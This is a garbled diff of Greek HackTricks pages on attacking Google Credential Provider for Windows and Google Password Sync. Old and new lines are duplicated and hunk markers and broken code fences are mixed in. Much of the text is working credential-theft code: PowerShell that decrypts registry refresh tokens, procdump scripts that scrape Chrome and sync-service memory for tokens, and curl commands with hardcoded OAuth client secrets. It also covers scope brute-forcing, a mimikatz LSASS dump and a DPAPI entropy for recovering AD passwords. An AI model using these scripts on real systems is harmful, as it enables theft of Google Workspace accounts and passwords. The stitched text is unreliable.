> Μην ξεχάσετε να **μπλοκάρετε την κυκλοφορία QUICK UDP** στο `Proxifier` ώστε να υποβαθμιστεί σε επικοινωνία TCP και να μπορείτε να τη δείτε.
>
> Επίσης, ρυθμίστε και στις "Υπηρεσίες και άλλοι χρήστες" και τις δύο επιλογές και εγκαταστήστε το πιστοποιητικό Burp CA στα Windows.
> Επίσης, ρυθμίστε και τις δύο επιλογές στο "Υπηρεσίες και άλλοι χρήστες" και εγκαταστήστε το πιστοποιητικό CA του Burp στα Windows.
Επιπλέον, προσθέτοντας τα κλειδιά `enable_verbose_logging = 1` και `log_file_path = C:\Public\gcpw.log` στο **`HKLM:\SOFTWARE\Google\GCPW`** είναι δυνατό να αποθηκεύει κάποια αρχεία καταγραφής.
### GCPW - Δακτυλικό αποτύπωμα
Είναι δυνατό να ελέγξετε αν το GCPW είναι εγκατεστημένο σε μια συσκευή ελέγχοντας αν υπάρχει η παρακάτω διαδικασία ή αν υπάρχουν τα παρακάτω κλειδιά μητρώου:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -66,7 +64,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
```
Στο **`HKCU:\SOFTWARE\Google\Accounts`** είναι δυνατή η πρόσβαση στο email του χρήστη και στο κρυπτογραφημένο **refresh token** αν ο χρήστης έχει συνδεθεί πρόσφατα.
Στο **`HKLM:\SOFTWARE\Google\GCPW\Users`** είναι δυνατή η εύρεση των **domains** που επιτρέπεται να συνδεθούν στο κλειδί `domains_allowed` και σε υποκλειδιά είναι δυνατή η εύρεση πληροφοριών για τον χρήστη όπως email, pic, όνομα χρήστη, διάρκεια ζωής token, handle token...
Στο **`HKLM:\SOFTWARE\Google\GCPW\Users`** είναι δυνατή η εύρεση των **domains** που επιτρέπεται να συνδεθούν στο κλειδί `domains_allowed` και σε υποκλειδιά είναι δυνατή η εύρεση πληροφοριών σχετικά με τον χρήστη όπως email, pic, όνομα χρήστη, διάρκεια ζωής token, handle token...
> [!NOTE]
> Το token handle είναι ένα token που ξεκινά με `eth.` και από το οποίο μπορεί να εξαχθεί κάποια πληροφορία με ένα αίτημα όπως:
@@ -102,16 +100,16 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
Επιπλέον, το αρχείο **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** είναι ένα json που περιέχει τις πληροφορίες διαφόρων **ρυθμίσεων** όπως `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (αν αρκετοί χρήστες από το Workspace μπορούν να συνδεθούν στον υπολογιστή) και `validityPeriodDays` (αριθμός ημερών που ένας χρήστης δεν χρειάζεται να επαληθευτεί απευθείας με την Google).
## GCPW - Λήψη Tokens
## GCPW - Λάβετε Tokens
### GCPW - Ανανεώσεις Tokens Μητρώου
### GCPW - Ανανεώστε Tokens Μητρώου
Μέσα στο μητρώο **`HKCU:\SOFTWARE\Google\Accounts`** μπορεί να είναι δυνατή η εύρεση κάποιων λογαριασμών με το **`refresh_token`** κρυπτογραφημένο μέσα. Η μέθοδος **`ProtectedData.Unprotect`** μπορεί εύκολα να το αποκρυπτογραφήσει.
<details>
<summary>Λάβετε <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> δεδομένα και αποκρυπτογραφήστε τα refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=FEQxHRRP_5I), αν δεν βρείτε το token στο μητρώο, είναι δυνατόν να τροποποιήσετε την τιμή (ή να διαγράψετε) από **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** και την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στον υπολογιστή, θα χρειαστεί να συνδεθεί ξανά και το **token θα αποθηκευτεί στο προηγούμενο μητρώο**.
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=FEQxHRRP_5I), αν δεν βρείτε το token στο μητρώο, είναι δυνατόν να τροποποιήσετε την τιμή (ή να τη διαγράψετε) από **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** και την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στον υπολογιστή, θα χρειαστεί να συνδεθεί ξανά και το **token θα αποθηκευτεί στο προηγούμενο μητρώο**.
### GCPW - Δίσκοι Ανανεωτικών Tokens
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
Επιπλέον, η κρυπτογράφηση μπορεί να βρεθεί σε αυτόν τον κώδικα: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Μπορεί να παρατηρηθεί ότι χρησιμοποιείται AESGCM, το κρυπτογραφημένο token ξεκινά με μια **έκδοση** (**`v10`** αυτή τη στιγμή), στη συνέχεια έχει [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), και στη συνέχεια έχει το **cypher-text** με ένα τελικό **mac 16B**.
Μπορεί να παρατηρηθεί ότι χρησιμοποιείται AESGCM, το κρυπτογραφημένο token ξεκινά με μια **έκδοση** (**`v10`** αυτή τη στιγμή), στη συνέχεια [**έχει 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), και στη συνέχεια έχει το **cypher-text** με ένα τελικό **mac 16B**.
### GCPW - Dumping tokens από τη μνήμη διεργασιών
### GCPW - Dumping tokens από τη μνήμη διαδικασιών
Το παρακάτω σενάριο μπορεί να χρησιμοποιηθεί για να **dump** κάθε **Chrome** διεργασία χρησιμοποιώντας το `procdump`, να εξάγει τις **αλφαβητικές σειρές** και στη συνέχεια να **αναζητήσει** σειρές σχετικές με **access και refresh tokens**. Αν το Chrome είναι συνδεδεμένο σε κάποια Google τοποθεσία, κάποια **διεργασία θα αποθηκεύει refresh και/ή access tokens στη μνήμη!**
Το παρακάτω σενάριο μπορεί να χρησιμοποιηθεί για να **dump** κάθε διαδικασία **Chrome** χρησιμοποιώντας το `procdump`, να εξάγει τις **αλφαβητικές ακολουθίες** και στη συνέχεια να **αναζητήσει** ακολουθίες σχετικές με **access και refresh tokens**. Αν το Chrome είναι συνδεδεμένο σε κάποια ιστοσελίδα της Google, κάποια **διαδικασία θα αποθηκεύει ανανεωτικά και/ή access tokens στη μνήμη!**
<details>
<summary>Dump Chrome processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Δοκίμασα το ίδιο με το `gcpw_extension.exe` αλλά δεν βρήκε κανένα token.
Για κάποιο λόγο, **ορισμένα εξαγόμενα access tokens δεν θα είναι έγκυρα (αν και ορισμένα θα είναι)**. Δοκίμασα το παρακάτω script για να αφαιρέσω χαρακτήρες 1 προς 1 για να προσπαθήσω να βρω το έγκυρο token από το dump. Ποτέ δεν με βοήθησε να βρω ένα έγκυρο, αλλά ίσως να βοηθήσει:
Για κάποιο λόγο, **ορισμένα εξαγόμενα access tokens δεν θα είναι έγκυρα (αν και κάποια θα είναι)**. Δοκίμασα το παρακάτω σενάριο για να αφαιρέσω χαρακτήρες 1 προς 1 για να προσπαθήσω να βρω το έγκυρο token από την εξαγωγή. Ποτέ δεν με βοήθησε να βρω ένα έγκυρο, αλλά ίσως να βοηθήσει:
<details>
@@ -299,9 +297,9 @@ echo "Error: Token invalid or too short"
```
</details>
### GCPW - Δημιουργία διαπιστευτηρίων πρόσβασης από διαπιστευτήρια ανανέωσης
### GCPW - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια
Χρησιμοποιώντας το διαπιστευτήριο ανανέωσης, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας αυτό και το client ID και client secret που καθορίζονται στην παρακάτω εντολή:
Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
@@ -312,7 +310,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCPW - Scopes
> [!NOTE]
> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατόν να ζητήσετε κανένα scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token**.
> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατή η αίτηση οποιουδήποτε scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token**.
>
> Επίσης, το refresh token δεν είναι έγκυρο σε κάθε εφαρμογή.
@@ -344,7 +342,7 @@ rm /tmp/valid_scopes.txt
```
</details>
Και αυτό είναι το αποτέλεσμα που πήρα τη στιγμή που γράφτηκε:
Και αυτό είναι το αποτέλεσμα που πήρα τη στιγμή που έγραφα:
<details>
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Επιπλέον, ελέγχοντας τον πηγαίο κώδικα του Chromium είναι δυνατόν να [**βρείτε αυτό το αρχείο**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), το οποίο περιέχει **άλλες σφαίρες** που μπορεί να υποτεθεί ότι **δεν εμφανίζονται στη λίστα που έχει προηγουμένως υποστεί βίαιη δοκιμή**. Επομένως, αυτές οι επιπλέον σφαίρες μπορούν να υποτεθούν:
Επιπλέον, ελέγχοντας τον πηγαίο κώδικα του Chromium είναι δυνατόν να [**βρείτε αυτό το αρχείο**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), το οποίο περιέχει **άλλες σφαίρες** που μπορεί να υποτεθεί ότι **δεν εμφανίζονται στη λίστα που έχει προηγουμένως παραβιαστεί**. Επομένως, αυτές οι επιπλέον σφαίρες μπορούν να υποτεθούν:
<details>
@@ -470,11 +468,11 @@ const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Ωστόσο, προσπάθησα να χρησιμοποιήσω αυτό το πεδίο για να αποκτήσω πρόσβαση στο gmail ή να καταγράψω ομάδες και δεν λειτούργησε, οπότε δεν ξέρω πόσο χρήσιμο είναι ακόμα.
**Αποκτήστε ένα access token με όλα αυτά τα πεδία**:
**Αποκτήστε ένα διακριτικό πρόσβασης με όλα αυτά τα πεδία**:
<details>
<summary>Bash script για τη δημιουργία access token από refresh_token με όλα τα πεδία</summary>
<summary>Bash script για τη δημιουργία διακριτικού πρόσβασης από refresh_token με όλα τα πεδία</summary>
```bash
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -760,9 +758,9 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault** είναι ένα πρόσθετο για το Google Workspace που παρέχει εργαλεία για τη διατήρηση δεδομένων, αναζητήσεις και εξαγωγές για τα δεδομένα της οργάνωσής σας που αποθηκεύονται σε υπηρεσίες του Google Workspace όπως το Gmail, το Drive, το Chat και άλλα.
**Google Workspace Vault** είναι ένα πρόσθετο για το Google Workspace που παρέχει εργαλεία για τη διατήρηση δεδομένων, αναζήτηση και εξαγωγή για τα δεδομένα της οργάνωσής σας που αποθηκεύονται σε υπηρεσίες του Google Workspace όπως το Gmail, το Drive, το Chat και άλλα.
- Ένα **Matter** στο Google Workspace Vault είναι ένα **container** που οργανώνει και ομαδοποιεί όλες τις πληροφορίες που σχετίζονται με μια συγκεκριμένη υπόθεση, έρευνα ή νομικό θέμα. Λειτουργεί ως το κεντρικό σημείο για τη διαχείριση των **Holds**, **Searches** και **Exports** που αφορούν αυτό το συγκεκριμένο ζήτημα.
- Ένα **Matter** στο Google Workspace Vault είναι ένα **container** που οργανώνει και ομαδοποιεί όλες τις πληροφορίες που σχετίζονται με μια συγκεκριμένη υπόθεση, έρευνα ή νομικό θέμα. Λειτουργεί ως το κεντρικό κόμβο για τη διαχείριση των **Holds**, **Searches** και **Exports** που αφορούν αυτό το συγκεκριμένο ζήτημα.
- Ένα **Hold** στο Google Workspace Vault είναι μια **preservation action** που εφαρμόζεται σε συγκεκριμένους χρήστες ή ομάδες για να **αποτρέψει τη διαγραφή ή την τροποποίηση** των δεδομένων τους εντός των υπηρεσιών του Google Workspace. Τα Holds διασφαλίζουν ότι οι σχετικές πληροφορίες παραμένουν ανέπαφες και αμετάβλητες για τη διάρκεια μιας νομικής υπόθεσης ή έρευνας.
```bash
# List matters
@@ -791,13 +789,13 @@ curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
Περισσότερα [API endpoints στα docs](https://developers.google.com/vault/reference/rest).
Περισσότερα [API endpoints στα έγγραφα](https://developers.google.com/vault/reference/rest).
</details>
## GCPW - Ανάκτηση καθαρού κωδικού πρόσβασης
Για να εκμεταλλευτείτε το GCPW για να ανακτήσετε τον καθαρό κωδικό πρόσβασης, είναι δυνατόν να εξάγετε τον κωδικό πρόσβασης που έχει κρυπτογραφηθεί από το **LSASS** χρησιμοποιώντας το **mimikatz**:
Για να εκμεταλλευτείτε το GCPW για να ανακτήσετε το καθαρό κείμενο του κωδικού πρόσβασης, είναι δυνατόν να εξάγετε τον κωδικό πρόσβασης που έχει κρυπτογραφηθεί από το **LSASS** χρησιμοποιώντας το **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -4,7 +4,7 @@
## Basic Information
Αυτό είναι το δυαδικό και η υπηρεσία που προσφέρει η Google προκειμένου να **διατηρεί συγχρονισμένα τους κωδικούς πρόσβασης των χρηστών μεταξύ του AD** και του Workspace. Κάθε φορά που ένας χρήστης αλλάζει τον κωδικό του στο AD, ρυθμίζεται στη Google.
Αυτό είναι το δυαδικό και η υπηρεσία που προσφέρει η Google προκειμένου να **διατηρεί συγχρονισμένα τους κωδικούς πρόσβασης των χρηστών μεταξύ του AD** και του Workspace. Κάθε φορά που ένας χρήστης αλλάζει τον κωδικό του στο AD, αυτός ρυθμίζεται στην Google.
Εγκαθίσταται στο `C:\Program Files\Google\Password Sync` όπου μπορείτε να βρείτε το δυαδικό `PasswordSync.exe` για να το ρυθμίσετε και το `password_sync_service.exe` (η υπηρεσία που θα συνεχίσει να τρέχει).
@@ -12,15 +12,15 @@
Για να ρυθμίσετε αυτό το δυαδικό (και υπηρεσία), είναι απαραίτητο να **του δώσετε πρόσβαση σε έναν Super Admin principal στο Workspace**:
- Συνδεθείτε μέσω **OAuth** με τη Google και στη συνέχεια θα **αποθηκεύσει ένα token στο μητρώο (κρυπτογραφημένο)**
- Συνδεθείτε μέσω **OAuth** με την Google και στη συνέχεια θα **αποθηκεύσει ένα token στο μητρώο (κρυπτογραφημένο)**
- Διαθέσιμο μόνο σε Domain Controllers με GUI
- Δίνοντας κάποια **credentials Service Account από το GCP** (json αρχείο) με δικαιώματα να **διαχειρίζεται τους χρήστες του Workspace**
- Πολύ κακή ιδέα καθώς αυτά τα credentials δεν λήγουν ποτέ και θα μπορούσαν να χρησιμοποιηθούν κακόβουλα
- Πολύ κακή ιδέα καθώς αυτά τα credentials δεν λήγουν ποτέ και θα μπορούσαν να καταχραστούν
- Πολύ κακή ιδέα να δώσετε πρόσβαση σε SA πάνω από το workspace καθώς ο SA θα μπορούσε να παραβιαστεί στο GCP και θα είναι δυνατό να γίνει pivot στο Workspace
- Η Google το απαιτεί για domain controlled χωρίς GUI
- Αυτά τα creds αποθηκεύονται επίσης στο μητρώο
Όσον αφορά το AD, είναι δυνατό να υποδείξετε να χρησιμοποιεί το τρέχον **applications context, ανώνυμο ή κάποια συγκεκριμένα credentials**. Εάν επιλεγεί η επιλογή credentials, το **username** αποθηκεύεται μέσα σε ένα αρχείο στο **δίσκο** και ο **κωδικός πρόσβασης** είναι **κρυπτογραφημένος** και αποθηκεύεται στο **μητρώο**.
Όσον αφορά το AD, είναι δυνατό να υποδείξετε να χρησιμοποιήσει το τρέχον **context εφαρμογών, ανώνυμο ή κάποια συγκεκριμένα credentials**. Εάν επιλεγεί η επιλογή credentials, το **username** αποθηκεύεται μέσα σε ένα αρχείο στο **δίσκο** και ο **κωδικός πρόσβασης** είναι **κρυπτογραφημένος** και αποθηκεύεται στο **μητρώο**.
### GPS - Dumping password and token from disk
@@ -29,7 +29,7 @@
Στο αρχείο **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** είναι δυνατό να βρείτε μέρος της ρύθμισης όπως το **`baseDN`** του AD που έχει ρυθμιστεί και το **`username`** των credentials που χρησιμοποιούνται.
Στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`** είναι δυνατό να βρείτε το **κρυπτογραφημένο refresh token** και τον **κρυπτογραφημένο κωδικό πρόσβασης** για τον χρήστη AD (αν υπάρχει). Επιπλέον, εάν αντί για ένα token, χρησιμοποιηθούν κάποια **credentials SA**, είναι επίσης δυνατό να βρείτε αυτά κρυπτογραφημένα σε αυτή τη διεύθυνση μητρώου. Οι **τιμές** μέσα σε αυτό το μητρώο είναι μόνο **προσβάσιμες** από **Administrators**.
Στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`** είναι δυνατό να βρείτε το **κρυπτογραφημένο refresh token** και τον **κρυπτογραφημένο κωδικό πρόσβασης** για τον χρήστη του AD (αν υπάρχει). Επιπλέον, εάν αντί για ένα token, χρησιμοποιηθούν κάποια **credentials SA**, είναι επίσης δυνατό να βρείτε αυτά κρυπτογραφημένα σε αυτή τη διεύθυνση μητρώου. Οι **τιμές** μέσα σε αυτό το μητρώο είναι μόνο **προσβάσιμες** από **Administrators**.
Ο κρυπτογραφημένος **κωδικός πρόσβασης** (αν υπάρχει) είναι μέσα στο κλειδί **`ADPassword`** και είναι κρυπτογραφημένος χρησιμοποιώντας το API **`CryptProtectData`**. Για να τον αποκρυπτογραφήσετε, πρέπει να είστε ο ίδιος χρήστης με αυτόν που ρύθμισε τον συγχρονισμό κωδικών πρόσβασης και να χρησιμοποιήσετε αυτή την **entropy** όταν χρησιμοποιείτε το **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
@@ -42,17 +42,17 @@
Σημειώστε ότι είναι επίσης δυνατό να δείτε τις **αποκρυπτογραφημένες** τιμές στην είσοδο ή έξοδο των κλήσεων σε αυτές τις APIs επίσης (σε περίπτωση που κάποια στιγμή το Winpeas σταματήσει να λειτουργεί).
Σε περίπτωση που ο συγχρονισμός κωδικών πρόσβασης έχει **ρυθμιστεί με SA credentials**, θα αποθηκευτεί επίσης σε κλειδιά μέσα στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`**.
Σε περίπτωση που ο Password Sync ήταν **ρυθμισμένος με SA credentials**, θα αποθηκευτεί επίσης σε κλειδιά μέσα στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`**.
### GPS - Dumping tokens from memory
Ακριβώς όπως με το GCPW, είναι δυνατό να κάνετε dump της μνήμης της διαδικασίας του `PasswordSync.exe` και των διαδικασιών `password_sync_service.exe` και θα μπορείτε να βρείτε refresh και access tokens (αν έχουν ήδη παραχθεί).\
Ακριβώς όπως με το GCPW, είναι δυνατό να κάνετε dump τη μνήμη της διαδικασίας του `PasswordSync.exe` και των διαδικασιών `password_sync_service.exe` και θα μπορείτε να βρείτε refresh και access tokens (αν έχουν ήδη παραχθεί).\
Υποθέτω ότι θα μπορούσατε επίσης να βρείτε τα ρυθμισμένα credentials του AD.
<details>
<summary>Dump <code>PasswordSync.exe</code> και τις διαδικασίες <code>password_sync_service.exe</code> και αναζητήστε tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια
Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή:
Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας αυτό και το client ID και client secret που καθορίζονται στην παρακάτω εντολή:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατό να ζητήσετε κανένα scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token**.
> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατό να ζητήσετε οποιοδήποτε scope για το access token, καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή στην οποία δημιουργείτε το access token**.
>
> Επίσης, το refresh token δεν είναι έγκυρο σε κάθε εφαρμογή.
Από προεπιλογή, το GPS δεν θα έχει πρόσβαση ως χρήστης σε κάθε πιθανό OAuth scope, οπότε χρησιμοποιώντας το παρακάτω script μπορούμε να βρούμε τα scopes που μπορούν να χρησιμοποιηθούν με το `refresh_token` για να δημιουργήσουμε ένα `access_token`:
Από προεπιλογή, το GPS δεν θα έχει πρόσβαση ως χρήστης σε κάθε πιθανό OAuth scope, οπότε χρησιμοποιώντας το παρακάτω σενάριο μπορούμε να βρούμε τα scopes που μπορούν να χρησιμοποιηθούν με το `refresh_token` για να δημιουργήσουμε ένα `access_token`:
<details>
@@ -176,9 +176,9 @@ rm /tmp/valid_scopes.txt
```
https://www.googleapis.com/auth/admin.directory.user
```
Ποιο είναι το ίδιο που λαμβάνετε αν δεν υποδείξετε κανένα πεδίο.
Ποιο είναι το ίδιο που λαμβάνετε αν δεν υποδείξετε καμία έκταση.
> [!CAUTION]
> Με αυτό το πεδίο θα μπορούσατε **να τροποποιήσετε τον κωδικό πρόσβασης ενός υπάρχοντος χρήστη για να κλιμακώσετε τα προνόμια**.
> Με αυτή την έκταση θα μπορούσατε **να τροποποιήσετε τον κωδικό πρόσβασης ενός υπάρχοντος χρήστη για να κλιμακώσετε τα προνόμια**.
{{#include ../../../banners/hacktricks-training.md}}